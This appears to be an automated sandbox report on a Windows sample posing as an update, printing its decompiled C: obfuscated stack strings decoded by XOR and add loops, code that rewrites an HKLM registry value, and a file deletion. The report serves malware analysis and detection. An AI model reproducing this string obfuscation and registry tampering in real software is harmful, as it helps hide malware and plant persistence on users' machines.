				_v58 = 0x39;
				_v57 = 0xd0;
				_v56 = 0xb6;
				_v55 = 0xae;
				_v54 = 0xf6;
				_v53 = 0x62;
				_v52 = 0xed;
				_v51 = 0x51;
				_v50 = 0xea;
				_v49 = 0x5d;
				_v48 = 0x74;
				_v47 = 0x21;
				_v46 = 0x2e;
				_v45 = 0x63;
				_v44 = 0x23;
				_v43 = 0x42;
				_v42 = 0x91;
				_v41 = 0x7e;
				_v40 = 0x8e;
				_v39 = 0xfd;
				_v38 = 0x17;
				_v37 = 0xa8;
				_v36 = 4;
				_push(0x35);
				_v22 = 0xdb;
				_v15 = 0xdb;
				_push( &_v116);
				_v35 = 0x5a;
				_v34 = 0x47;
				_v33 = 0xa5;
				_v32 = 0x58;
				_v31 = 0x76;
				_v30 = 0xf0;
				_v29 = 0x78;
				_v28 = 0x5c;
				_v27 = 0x57;
				_v26 = 0xf4;
				_v25 = 0xf;
				_v24 = 0xf3;
				_v23 = 0xac;
				_v21 = 0x12;
				_v20 = 0xbc;
				_v19 = 0xa0;
				_v18 = 0xb4;
				_v17 = 0x38;
				_v16 = 0xe3;
				_v14 = 0xff;
				_v13 = 0xd7;
				_v12 = 5;
				_v11 = 0x46;
				_v10 = 0x63;
				_v9 = 0x51;
				_v8 = 0x65;
				_t313 = E00422300( &_v60);
				_v164 = 0x39;
				_v163 = 8;
				_v162 = 8;
				_v161 = 0x31;
				_v160 = 0x16;
				_v159 = 0x11;
				_v158 = 0xc;
				_v157 = 0x27;
				_v156 = 0x3c;
				_v155 = 0x34;
				_v154 = 0x34;
				_v153 = 0xb;
				_v152 = 0x78;
				_t207 = 0;
				do {
					 *(_t320 + _t207 + 0x20) =  *(_t320 + _t207 + 0x20) ^ 0x00000078;
					_t207 = _t207 + 1;
				} while (_t207 < 0xd);
				_v176 = 0x400;
				_v172 = 0;
				_v168 = 1;
				_t318 = HeapAlloc(GetProcessHeap(), 8, 0x400);
				_t255 = HeapAlloc(GetProcessHeap(), 8, _v176);
				RegOpenKeyExA(0x80000002, _t313, 0, 0xf003f,  &_v180);
				if(RegQueryValueExA(_v180,  &_v164, 0,  &_v172, _t318,  &_v176) == 0) {
					_t314 = E00425320(_t318,  &_v144);
					if(_t314 != 0) {
						_t265 = _v176;
						_t266 = _t265 >> 2;
						_t302 = _t255;
						memset(_t302 + _t266, memset(_t302, 0, _t266 << 2), (_t265 & 0x00000003) << 0);
						E00425B10(_t255, _t318, _t314 - _t318);
						_t235 = _t255;
						_t182 = _t235 + 1; // 0x1
						_t294 = _t182;
						do {
							_t271 =  *_t235;
							_t235 = _t235 + 1;
						} while (_t271 != 0);
						_t237 = _t235 - _t294 - 1;
						if(_t237 >= 0) {
							while( *((char*)(_t237 + _t255)) == 0x20) {
								_t237 = _t237 - 1;
								 *((char*)(_t237 + _t255 + 1)) = 0;
								if(_t237 >= 0) {
									continue;
								}
								goto L13;
							}
						}
						L13:
						_t238 =  &_v144;
						_t295 = _t238 + 1;
						do {
							_t272 =  *_t238;
							_t238 = _t238 + 1;
						} while (_t272 != 0);
						_t240 = _t238 - _t295 + _t314;
						_t316 = _t240;
						do {
							_t273 =  *_t240;
							_t240 = _t240 + 1;
						} while (_t273 != 0);
						_t241 = _t240 - _t316;
						_t306 = _t255 - 1;
						do {
							_t274 =  *(_t306 + 1);
							_t306 = _t306 + 1;
						} while (_t274 != 0);
						_t276 = _t241 >> 2;
						_t244 = memcpy(_t316 + _t276 + _t276, _t316, memcpy(_t306, _t316, _t276 << 2) & 0x00000003);
						_t190 = _t244 + 1; // 0x1
						_t296 = _t190;
						do {
							_t281 =  *_t244;
							_t244 = _t244 + 1;
						} while (_t281 != 0);
						_t246 = _t244 - _t296 - 1;
						if(_t246 >= 0) {
							while( *((char*)(_t246 + _t255)) == 0x20) {
								_t246 = _t246 - 1;
								 *((char*)(_t246 + _t255 + 1)) = 0;
								if(_t246 >= 0) {
									continue;
								}
								goto L25;
							}
						}
						L25:
						_t247 = _t255;
						_t298 = _t318 - _t255;
						do {
							_t282 =  *_t247;
							 *((char*)(_t298 + _t247)) = _t282;
							_t247 = _t247 + 1;
						} while (_t282 != 0);
					}
					_t217 = _t318;
					_t195 = _t217 + 1; // 0x1
					_t291 = _t195;
					do {
						_t261 =  *_t217;
						_t217 = _t217 + 1;
					} while (_t261 != 0);
					if(RegSetValueExA(_v180,  &_v164, 0, _v172, _t318, _t217 - _t291 + 1) == 0) {
						_t301 = _v168;
					} else {
						_t301 = 0;
					}
					RegCloseKey(_v180);
					HeapFree(GetProcessHeap(), 0, _t318);
					HeapFree(GetProcessHeap(), 0, _t255);
					return E00424873(_t301, _v12);
				} else {
					RegCloseKey(_v180);
					return E00424873(0, _v12);
				}
			}

0x00422920
0x00422926
0x0042292f
0x00422937
0x0042293b
0x0042293f
0x0042294a
0x0042294f
0x00422954
0x00422958
0x0042295d
0x00422962
0x00422967
0x0042296c
0x00422971
0x00422976
0x0042297b
0x00422980
0x00422984
0x00422989
0x0042298e
0x00422993
0x00422998
0x0042299d
0x004229a2
0x004229a7
0x004229ac
0x004229b1
0x004229b6
0x004229bb
0x004229c0
0x004229c5
0x004229ca
0x004229cf
0x004229d4
0x004229d8
0x004229dd
0x004229e2
0x004229e4
0x004229e8
0x004229ec
0x004229ed
0x004229f2
0x004229f8
0x004229fc
0x00422a07
0x00422a0c
0x00422a11
0x00422a16
0x00422a1b
0x00422a20
0x00422a25
0x00422a2a
0x00422a2f
0x00422a34
0x00422a39
0x00422a3e
0x00422a43
0x00422a47
0x00422a4c
0x00422a51
0x00422a55
0x00422a5a
0x00422a5e
0x00422a63
0x00422a68
0x00422a6d
0x00422a72
0x00422a77
0x00422a7c
0x00422a81
0x00422a86
0x00422a8a
0x00422a8f
0x00422a94
0x00422a99
0x00422a9d
0x00422aa1
0x00422aa6
0x00422aab
0x00422aaf
0x00422ab4
0x00422ab9
0x00422abe
0x00422ac3
0x00422ac8
0x00422acd
0x00422ad2
0x00422ad6
0x00422adb
0x00422ae0
0x00422ae5
0x00422aea
0x00422aef
0x00422af3
0x00422af8
0x00422b00
0x00422b08
0x00422b10
0x00422b18
0x00422b20
0x00422b28
0x00422b30
0x00422b38
0x00422b40
0x00422b48
0x00422b50
0x00422b58
0x00422b60
0x00422b68
0x00422b70
0x00422b78
0x00422b80
0x00422b88
0x00422b90
0x00422b98
0x00422ba0
0x00422ba8
0x00422bb0
0x00422bb7
0x00422bc1
0x00422bc6
0x00422bcd
0x00422bd4
0x00422bdc
0x00422be4
0x00422bec
0x00422bf4
0x00422bfc
0x00422c04
0x00422c0c
0x00422c14
0x00422c1c
0x00422c24
0x00422c2b
0x00422c33
0x00422c3b
0x00422c43
0x00422c4b
0x00422c53
0x00422c5b
0x00422c63
0x00422c6b
0x00422c73
0x00422c7b
0x00422c83
0x00422c8b
0x00422c93
0x00422c9b
0x00422ca3
0x00422cb0
0x00422cb2
0x00422cb7
0x00422cbc
0x00422cc1
0x00422cc6
0x00422ccb
0x00422cd0
0x00422cd4
0x00422cd9
0x00422cde
0x00422ce3
0x00422ce8
0x00422ced
0x00422cf2
0x00422cf4
0x00422cf4
0x00422cf9
0x00422cfa
0x00422d0c
0x00422d14
0x00422d1c
0x00422d2f
0x00422d4f
0x00422d51
0x00422d76
0x00422da7
0x00422dae
0x00422db4
0x00422dba
0x00422dbf
0x00422dc8
0x00422dd1
0x00422dd6
0x00422ddb
0x00422ddb
0x00422de0
0x00422de0
0x00422de2
0x00422de3
0x00422de9
0x00422dea
0x00422df0
0x00422df6
0x00422df7
0x00422dfc
0x00000000
0x00000000
0x00000000
0x00422dfc
0x00422df0
0x00422dfe
0x00422dfe
0x00422e02
0x00422e05
0x00422e05
0x00422e07
0x00422e08
0x00422e0e
0x00422e10
0x00422e12
0x00422e12
0x00422e14
0x00422e15
0x00422e1b
0x00422e1d
0x00422e20
0x00422e20
0x00422e23
0x00422e24
0x00422e2a
0x00422e36
0x00422e38
0x00422e38
0x00422e40
0x00422e40
0x00422e42
0x00422e43
0x00422e49
0x00422e4a
0x00422e50
0x00422e56
0x00422e57
0x00422e5c
0x00000000
0x00000000
0x00000000
0x00422e5c
0x00422e50
0x00422e5e
0x00422e60
0x00422e62
0x00422e64
0x00422e64
0x00422e66
0x00422e69
0x00422e6a
0x00422e64
0x00422e6e
0x00422e70
0x00422e70
0x00422e73
0x00422e73
0x00422e75
0x00422e76
0x00422e98
0x00422e9e
0x00422e9a
0x00422e9a
0x00422e9a
0x00422ea7
0x00422ebf
0x00422ec7
0x00422ee1
0x00422d78
0x00422d7d
0x00422d9b
0x00422d9b

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00422D24
HeapAlloc.KERNEL32(00000000), ref: 00422D2D
GetProcessHeap.KERNEL32(00000008,?), ref: 00422D38
HeapAlloc.KERNEL32(00000000), ref: 00422D3B
RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,000F003F,?), ref: 00422D51
RegQueryValueExA.ADVAPI32(?,0000003B,00000000,00000000,00000000,?), ref: 00422D6E
RegCloseKey.ADVAPI32(?), ref: 00422D7D
_strncpy.LIBCMT ref: 00422DD1
RegSetValueExA.ADVAPI32(?,?,00000000,?,00000000,00000002,?,00000054), ref: 00422E90
RegCloseKey.ADVAPI32(?,?,00000054), ref: 00422EA7
GetProcessHeap.KERNEL32(00000000,00000000,?,00000054), ref: 00422EB6
HeapFree.KERNEL32(00000000,?,00000054), ref: 00422EBF
GetProcessHeap.KERNEL32(00000000,00000000,?,00000054), ref: 00422EC4
HeapFree.KERNEL32(00000000,?,00000054), ref: 00422EC7

Strings

,, xrefs: 0042295D
,, xrefs: 00422AA1
#, xrefs: 00422B78
?, xrefs: 00422AC8
B, xrefs: 00422B80
G, xrefs: 00422998
P, xrefs: 00422967
N, xrefs: 00422AEA
t, xrefs: 00422B58
x, xrefs: 00422CF4
%, xrefs: 00422A0C
F, xrefs: 00422C8B
Z, xrefs: 00422BDC
;, xrefs: 004229DD
9, xrefs: 00422B08
Q, xrefs: 00422B40
{, xrefs: 00422A4C
4, xrefs: 00422ABE
T, xrefs: 0042294A
x, xrefs: 00422C0C
K, xrefs: 00422AAF
R, xrefs: 00422A16
4, xrefs: 00422CDE
', xrefs: 004229D8
N, xrefs: 00422984
', xrefs: 00422CD4
/, xrefs: 00422A6D
,, xrefs: 0042294F
], xrefs: 00422B50
8, xrefs: 00422C63
Q, xrefs: 00422C9B
G, xrefs: 00422BE4
W, xrefs: 00422C1C
., xrefs: 00422B68
S, xrefs: 00422971
1, xrefs: 00422CC1
S, xrefs: 00422AB4
W, xrefs: 00422AA6
c, xrefs: 00422B70
x, xrefs: 00422CED
v, xrefs: 00422BFC
e, xrefs: 00422CA3
~, xrefs: 00422B90
c, xrefs: 00422C93
\, xrefs: 00422C14
P, xrefs: 00422A81
g, xrefs: 00422A77
T, xrefs: 00422A8A
), xrefs: 00422976
E, xrefs: 00422989
4, xrefs: 00422CE3
<, xrefs: 00422CD9
", xrefs: 004229A7
6, xrefs: 00422A07
!, xrefs: 00422B60
}, xrefs: 00422A3E
b, xrefs: 00422B30
u, xrefs: 00422A2F
X, xrefs: 00422BF4

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: Heap$Process$AllocCloseFreeValue$OpenQuery_strncpy
String ID: !$"$#$%$'$'$)$,$,$,$.$/$1$4$4$4$6$8$9$;$<$?$B$E$F$G$G$K$N$N$P$P$Q$Q$R$S$S$T$T$W$W$X$Z$\$]$b$c$c$e$g$t$u$v$x$x$x${$}$~
API String ID: 3932281191-2427493838
Opcode ID: 1e99909b19aa585da5ead2d891978beee004937c050dea2f45ef4ffdaa32fc77
Instruction ID: 4784c4b2e2af174b486d3fa0099c06b4624002471a15ad2e25fd25ecae521a18
Opcode Fuzzy Hash: 1e99909b19aa585da5ead2d891978beee004937c050dea2f45ef4ffdaa32fc77
Instruction Fuzzy Hash: 8002182120C7C19ED332C63C994879BBFD15BA7218F484A9DE1E85B3D2C7B98509C76B

Uniqueness

Uniqueness Score: -1.00%

Function 004223A0, Relevance: 110.6, APIs: 9, Strings: 54, Instructions: 322
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E004223A0(void* __ebx, void* __edi, void* __esi, void* __ebp) {
				intOrPtr _v4;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v144;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				int _v184;
				int _v188;
				void* _v192;
				intOrPtr _t202;
				char _t204;
				void* _t212;
				void* _t220;
				intOrPtr _t230;
				short _t231;
				void* _t232;
				unsigned int _t233;
				void* _t244;
				void _t250;
				void _t254;
				void _t255;
				signed int _t257;
				void* _t273;
				void* _t275;
				short* _t278;
				void* _t280;
				char* _t287;
				void* _t288;
				char _t290;
				int* _t291;

				_t291 =  &_v184;
				_t202 =  *0x4310d8; // 0xa9302559
				_v4 = _t202;
				_v134 = 0x7c;
				_v131 = 0x7c;
				_v165 = 0x7c;
				_v136 = 0x54;
				_v135 = 0x2c;
				_v133 = 0xc;
				_v132 = 0x12;
				_v130 = 0x2c;
				_v129 = 0xe7;
				_v128 = 0x50;
				_v127 = 0x8d;
				_v126 = 0x53;
				_v125 = 0x29;
				_v124 = 0xa2;
				_v123 = 0xa8;
				_v122 = 0x4e;
				_v121 = 0x45;
				_v120 = 0xc5;
				_v172 = 0x19;
				_v171 = 0x47;
				_v170 = 0xee;
				_v169 = 0x5d;
				_v168 = 0x22;
				_v167 = 0xb8;
				_v166 = 0xd;
				_v164 = 0xe1;
				_v163 = 0xa7;
				_v162 = 0xf;
				_v161 = 0xe;
				_v160 = 0x8c;
				_v159 = 0xbc;
				_v158 = 0x1e;
				_v157 = 0x27;
				_v156 = 0x3b;
				_t204 = 0;
				do {
					 *((char*)(_t291 + _t204 + 0x3c)) =  *((intOrPtr*)(_t291 + _t204 + 0x3c)) +  *((intOrPtr*)(_t291 + _t204 + 0x18));
					_t204 = _t204 + 1;
				} while (_t204 < 0x11);
				_v110 = 0x36;
				_v100 = 0x7a;
				_v94 = 0x36;
				_v87 = 0x36;
				_v74 = 0x7a;
				_v115 = 0xbc;
				_v97 = 0xbc;
				_v83 = 0x85;
				_v80 = 0x85;
				_v64 = 0xca;
				_v60 = 0xca;
				_v116 = 0x88;
				_v114 = 0xad;
				_v113 = 0x41;
				_v112 = 0xf4;
				_v111 = 0xf3;
				_v109 = 0xbb;
				_v108 = 0x66;
				_v107 = 0x92;
				_v106 = 0x38;
				_v105 = 0x7e;
				_v104 = 0x9e;
				_v103 = 0xe6;
				_v102 = 0xcd;
				_v101 = 0x71;
				_v99 = 0x5c;
				_v98 = 0x6d;
				_v96 = 0x12;
				_v95 = 0xaa;
				_v93 = 0xfb;
				_v92 = 0x7e;
				_v91 = 0x11;
				_v90 = 6;
				_v89 = 0xf7;
				_v88 = 0x6a;
				_v86 = 0xac;
				_v85 = 0x31;
				_v84 = 0xcf;
				_v82 = 0xae;
				_v81 = 0x1d;
				_v79 = 0xc;
				_v78 = 0x64;
				_v77 = 0xd8;
				_v76 = 0x80;
				_v75 = 0x48;
				_v73 = 0xb6;
				_v72 = 0xf5;
				_v71 = 0x5a;
				_v70 = 0x19;
				_v69 = 0x67;
				_v68 = 0x2f;
				_v67 = 0xd;
				_v66 = 0x25;
				_v65 = 0xab;
				_v59 = 0xd8;
				_v58 = 0x52;
				_v57 = 0x62;
				_v56 = 0x4b;
				_v55 = 9;
				_v54 = 0x70;
				_v53 = 0xd;
				_v52 = 0xa9;
				_v51 = 0xd8;
				_v50 = 0x15;
				_v49 = 0x21;
				_v48 = 0xf3;
				_v47 = 0xaa;
				_v46 = 1;
				_v45 = 0x5a;
				_v44 = 0xf1;
				_v43 = 0x73;
				_v42 = 0xcb;
				_v41 = 0xf7;
				_v11 = 0x15;
				_push(0x35);
				_v27 = 0xeb;
				_v10 = 0xeb;
				_push( &_v116);
				_v40 = 0xbd;
				_v39 = 0x44;
				_v38 = 0xef;
				_v37 = 0x6a;
				_v36 = 0x3e;
				_v35 = 0xb9;
				_v34 = 0x26;
				_v33 = 0x62;
				_v32 = 9;
				_v31 = 0x94;
				_v30 = 0x52;
				_v29 = 0xc4;
				_v28 = 0x7b;
				_v26 = 0x31;
				_v25 = 0x28;
				_v24 = 0x1c;
				_v23 = 0x1e;
				_v22 = 0xbe;
				_v21 = 0x89;
				_v20 = 0xec;
				_v19 = 0x1d;
				_v18 = 0x51;
				_v17 = 0xdf;
				_v16 = 0x3a;
				_v15 = 0xfe;
				_v14 = 0x64;
				_v13 = 0xb2;
				_v12 = 0xa3;
				_v9 = 0xf3;
				_v8 = 0xdb;
				_t287 = E00422300( &_v60);
				_v149 = 0xb4;
				_v168 = 0xb4;
				_v160 = 0xaa;
				_v159 = 0xe5;
				_v158 = 0x1d;
				_v157 = 0x3e;
				_v156 = 0xc5;
				_v155 = 0xee;
				_v154 = 0x76;
				_v153 = 0x53;
				_v152 = 0xb2;
				_v151 = 1;
				_v150 = 0x17;
				_v148 = 0x4c;
				_v180 = 0x97;
				_v179 = 0x8b;
				_v178 = 0x53;
				_v177 = 0xb;
				_v176 = 0xa9;
				_v175 = 0x7b;
				_v174 = 0xfe;
				_v173 = 0xc;
				_v172 = 0x92;
				_v171 = 0x4b;
				_v170 = 0x35;
				_v169 = 0xbf;
				_t212 = 0;
				do {
					 *((char*)(_t291 + _t212 + 0x2c)) =  *((intOrPtr*)(_t291 + _t212 + 0x2c)) +  *((intOrPtr*)(_t291 + _t212 + 0x18));
					_t212 = _t212 + 1;
				} while (_t212 < 0xd);
				_t290 = 1;
				_v184 = 0xff;
				_v188 = 0;
				_t244 = HeapAlloc(GetProcessHeap(), 8, 0xff);
				RegOpenKeyExA(0x80000002, _t287, 0, 0xf003f,  &_v192);
				if(RegQueryValueExA(_v192,  &_v160, 0,  &_v188, _t244,  &_v184) == 0) {
					if(E00425320(_t244,  &_v144) == 0) {
						_t278 = _t244 - 1;
						do {
							_t230 =  *((intOrPtr*)(_t278 + 1));
							_t278 = _t278 + 1;
						} while (_t230 != 0);
						_t231 = " "; // 0x20
						 *_t278 = _t231;
						_t232 =  &_v144;
						_t275 = _t232;
						do {
							_t254 =  *_t232;
							_t232 = _t232 + 1;
						} while (_t254 != 0);
						_t233 = _t232 - _t275;
						_t280 = _t244 - 1;
						do {
							_t255 =  *(_t280 + 1);
							_t280 = _t280 + 1;
						} while (_t255 != 0);
						_t257 = _t233 >> 2;
						_t288 = _t275;
						memcpy(_t288 + _t257 + _t257, _t288, memcpy(_t280, _t288, _t257 << 2) & 0x00000003);
					}
					_t220 = _t244;
					_t196 = _t220 + 1; // 0x1
					_t273 = _t196;
					do {
						_t250 =  *_t220;
						_t220 = _t220 + 1;
					} while (_t250 != 0);
					if(RegSetValueExA(_v192,  &_v160, 0, _v188, _t244, _t220 - _t273 + 1) != 0) {
						_t290 = 0;
					}
					RegCloseKey(_v192);
					HeapFree(GetProcessHeap(), 0, _t244);
					return E00424873(_t290, _v12);
				} else {
					RegCloseKey(_v192);
					return E00424873(0, _v12);
				}
			}

0x004223a0
0x004223a6
0x004223ac
0x004223ba
0x004223be
0x004223c2
0x004223c7
0x004223cc
0x004223d0
0x004223d5
0x004223da
0x004223de
0x004223e3
0x004223e8
0x004223ed
0x004223f2
0x004223f7
0x004223fc
0x00422401
0x00422406
0x0042240b
0x00422410
0x00422415
0x0042241a
0x0042241f
0x00422424
0x00422429
0x0042242e
0x00422433
0x00422438
0x0042243d
0x00422442
0x00422447
0x0042244c
0x00422450
0x00422455
0x0042245a
0x0042245f
0x00422461
0x0042246b
0x0042246f
0x00422470
0x00422479
0x0042247d
0x00422481
0x00422485
0x0042248b
0x00422491
0x00422497
0x0042249b
0x0042249f
0x004224a5
0x004224ac
0x004224b7
0x004224bc
0x004224c1
0x004224c6
0x004224cb
0x004224cf
0x004224d4
0x004224d9
0x004224de
0x004224e3
0x004224e8
0x004224ed
0x004224f2
0x004224f7
0x004224fc
0x00422501
0x00422506
0x0042250b
0x00422510
0x00422515
0x0042251a
0x0042251f
0x00422524
0x00422529
0x0042252e
0x00422533
0x00422538
0x0042253d
0x00422542
0x00422546
0x0042254b
0x00422550
0x00422554
0x00422559
0x0042255e
0x00422563
0x00422568
0x0042256d
0x00422572
0x00422577
0x0042257f
0x00422587
0x0042258f
0x00422597
0x0042259e
0x004225a6
0x004225ae
0x004225b6
0x004225be
0x004225c6
0x004225ce
0x004225d6
0x004225dd
0x004225e4
0x004225ec
0x004225f3
0x004225fb
0x00422603
0x0042260b
0x00422613
0x0042261b
0x00422623
0x0042262d
0x00422634
0x0042263a
0x00422641
0x00422648
0x00422650
0x00422658
0x00422660
0x00422668
0x00422670
0x00422678
0x00422680
0x00422688
0x00422690
0x00422698
0x004226a0
0x004226a8
0x004226b0
0x004226b8
0x004226c0
0x004226c8
0x004226d0
0x004226d8
0x004226e0
0x004226e8
0x004226f0
0x004226f7
0x004226ff
0x00422707
0x0042270f
0x00422717
0x0042271f
0x00422727
0x0042272f
0x00422736
0x00422743
0x00422747
0x0042274b
0x0042274f
0x00422754
0x00422759
0x0042275d
0x00422762
0x00422767
0x0042276c
0x00422771
0x00422776
0x0042277b
0x00422780
0x00422785
0x0042278a
0x0042278f
0x00422794
0x00422799
0x0042279e
0x004227a3
0x004227a8
0x004227ad
0x004227b2
0x004227b7
0x004227bc
0x004227c1
0x004227c6
0x004227d0
0x004227da
0x004227de
0x004227df
0x004227eb
0x004227f0
0x004227f8
0x0042281f
0x00422821
0x00422846
0x0042287b
0x00422880
0x00422881
0x00422881
0x00422884
0x00422885
0x00422889
0x0042288f
0x00422892
0x00422896
0x00422898
0x00422898
0x0042289a
0x0042289b
0x004228a1
0x004228a3
0x004228a4
0x004228a4
0x004228a7
0x004228a8
0x004228ae
0x004228b1
0x004228ba
0x004228bc
0x004228bd
0x004228bf
0x004228bf
0x004228c2
0x004228c2
0x004228c4
0x004228c5
0x004228e7
0x004228e9
0x004228e9
0x004228f0
0x00422900
0x0042291d
0x00422848
0x0042284d
0x0042286a
0x0042286a

APIs

GetProcessHeap.KERNEL32(00000008,000000FF), ref: 00422800
HeapAlloc.KERNEL32(00000000), ref: 00422807
RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,000F003F,747DF990), ref: 00422821
RegQueryValueExA.ADVAPI32(?,00000054,00000000,00000000,00000000,?), ref: 0042283E
RegCloseKey.ADVAPI32(747DF990), ref: 0042284D
RegSetValueExA.ADVAPI32(?,?,00000000,?,00000000,00000002,?,0000005C), ref: 004228DF
RegCloseKey.ADVAPI32(?,?,0000005C), ref: 004228F0
GetProcessHeap.KERNEL32(00000000,00000000,?,0000005C), ref: 004228F9
HeapFree.KERNEL32(00000000,?,0000005C), ref: 00422900

Strings

8, xrefs: 004224DE
1, xrefs: 004226B8
j, xrefs: 00422529
v, xrefs: 0042276C
], xrefs: 0042241F
g, xrefs: 00422572
~, xrefs: 00422515
:, xrefs: 00422707
A, xrefs: 004224C1
1, xrefs: 00422533
Q, xrefs: 004226F7
\, xrefs: 004224FC
(, xrefs: 004226C0
b, xrefs: 004225A6
K, xrefs: 004227B7
{, xrefs: 004227A3
L, xrefs: 00422785
", xrefs: 00422424
;, xrefs: 0042245A
H, xrefs: 00422559
d, xrefs: 00422717
R, xrefs: 004226A0
>, xrefs: 0042275D
j, xrefs: 00422668
&, xrefs: 00422680
D, xrefs: 00422658
f, xrefs: 004224D4
K, xrefs: 004225AE
), xrefs: 004223F2
G, xrefs: 00422415
Z, xrefs: 00422568
q, xrefs: 004224F7
!, xrefs: 004225E4
5, xrefs: 004227BC
m, xrefs: 00422501
{, xrefs: 004226B0
S, xrefs: 00422794
d, xrefs: 0042254B
S, xrefs: 00422771
R, xrefs: 0042259E
Z, xrefs: 00422603
>, xrefs: 00422670
N, xrefs: 00422401
', xrefs: 00422455
s, xrefs: 00422613
P, xrefs: 004223E3
b, xrefs: 00422688
S, xrefs: 004223ED
T, xrefs: 004223C7
/, xrefs: 00422577
~, xrefs: 004224E3
%, xrefs: 00422587
E, xrefs: 00422406
p, xrefs: 004225BE

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: Heap$CloseProcessValue$AllocFreeOpenQuery
String ID: !$"$%$&$'$($)$/$1$1$5$8$:$;$>$>$A$D$E$G$H$K$K$L$N$P$Q$R$R$S$S$S$T$Z$Z$\$]$b$b$d$d$f$g$j$j$m$p$q$s$v${${$~$~
API String ID: 1874932168-1336078793
Opcode ID: 437fdbd436a05d19afb7f5867172574a4622868046f25b3dfc0edf86c844fae6
Instruction ID: bbaaf71f1dd44b42d8da240f366e0f2ce8dd36e8536a405cef6b64a909e2b2a5
Opcode Fuzzy Hash: 437fdbd436a05d19afb7f5867172574a4622868046f25b3dfc0edf86c844fae6
Instruction Fuzzy Hash: FBF1D62110C7C18DD332C67C984879BBFD15BA7228F484A9DE1E84B3E3C7A98549C767

Uniqueness

Uniqueness Score: -1.00%

Function 00413687, Relevance: 91.2, APIs: 11, Strings: 41, Instructions: 244
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00413687(void* __eax, char __ebx, char _a20, char _a21, char _a22, char _a23, char _a24, char _a25, char _a26, char _a27, char _a28, char _a29, char _a30, char _a31, char _a32, char _a33, char _a34, char _a35, char _a36, char _a37, char _a38, char _a40, char _a41, char _a42, char _a43, char _a44, char _a45, char _a46, char _a47, char _a48, char _a49, char _a50, char _a51, char _a52, char _a53, char _a54, char _a55, char _a56, char _a60, char _a61, char _a62, char _a63, char _a64, char _a65, char _a66, char _a67, char _a68, char _a69, char _a70, char _a71, char _a72, char _a73, char _a74, char _a75, char _a76, char _a80, char _a81, char _a82, char _a83, char _a84, char _a85, char _a86, char _a87, char _a88, char _a89, char _a90, char _a91, char _a92, char _a93, char _a94, char _a95, char _a96, char _a128, char _a129, char _a130, char _a131, char _a132, char _a133, char _a134, char _a135, char _a136, char _a137, char _a138, char _a139, char _a140, char _a141, char _a142, char _a143, char _a144, char _a145, char _a146, char _a148, char _a216, intOrPtr _a476) {
				void* _t188;
				void* _t192;
				CHAR* _t195;
				void* _t196;
				void* _t200;
				void* _t204;
				char _t210;
				void* _t242;

				_t210 = __ebx;
				_t188 = __eax;
				do {
					 *(_t242 + _t188 + 0x94) =  *(_t242 + _t188 + 0x94) ^  *(_t242 + _t188 + 0x14);
					_t188 = _t188 + 1;
				} while (_t188 < 0x13);
				ExpandEnvironmentStringsA( &_a148,  &_a216, 0x104);
				DeleteFileA( &_a216);
				_a128 = 0x7b;
				_a129 = 0x3a;
				_a130 = 0x59;
				_a131 = 0xfe;
				_a132 = 0x78;
				_a133 = __ebx;
				_a134 = 0xb1;
